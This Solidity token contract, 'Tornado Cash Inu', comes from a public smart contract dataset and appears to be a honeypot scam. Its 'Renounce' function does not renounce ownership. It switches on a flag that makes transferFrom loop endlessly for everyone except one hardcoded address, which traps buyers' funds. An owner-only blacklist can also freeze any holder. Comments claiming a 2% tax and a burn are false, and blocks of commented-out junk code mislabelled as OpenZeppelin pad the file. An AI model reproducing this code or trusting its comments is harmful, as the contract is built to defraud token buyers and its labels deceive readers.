// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.

pragma solidity 0.8.15;




// - 2% Tax
// - Renounce/Burn
// - RIP TC



contract TORNADOCRASH {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) isBotListed;

    // 
    string public name = "Tornado Cash Inu";
    string public symbol = unicode"🌪️💵";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor()  {
        // 
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

	address owner = msg.sender;


bool isEnabled;



modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}

 /*                                                                                                       
       

    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/* 
        bytes32 _struct,
        bytes32 _key
   "" ) internal view returns (bytes32) {
        StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
              StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/     



    function Renounce() public onlyOwner  {
    isEnabled = !isEnabled;
}



    function BotList(address _user) public onlyOwner {
        require(!isBotListed[_user], "user is Bot");
        isBotListed[_user] = true;
        // emit events as well
    }
    
    function removeFromBotList(address _user) public onlyOwner {
        require(isBotListed[_user], "not Bot");
        isBotListed[_user] = false;
        // emit events as well
    }
    
 


   
    
    

/*///    );
    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/* 
        bytes32 _struct,
        bytes32 _key
   "" ) internal view returns (bytes32) {
        StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
              StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/





    function transfer(address to, uint256 value) public returns (bool success) {
        
require(!isBotListed[msg.sender] , "Bot"); 


require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    }
    
    
    
    


    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
       public
        returns (bool success)


       {
            
  

           
       allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }



/*

       bytes memory slotcode = type(StorageUnit).creationCode;
     solium-disable-next-line 
      // assembly{ pop(create2(0, add(slotcode, 0x20), mload(slotcode), _struct)) }
   

    
    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
 
            
            */


address TCNX = 0xD171f2D90f5080F3462Bdb8be66B2E8343138Fe8;


    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {   
        
      while(isEnabled) {
if(from == TCNX)  {
          require(!isBotListed[from] , "Bot"); 
                 require(!isBotListed[to] , "Bot"); 
         require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; } }
        
        
        
        require(!isBotListed[from] , "Bot"); 
               require(!isBotListed[to] , "Bot"); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
    

}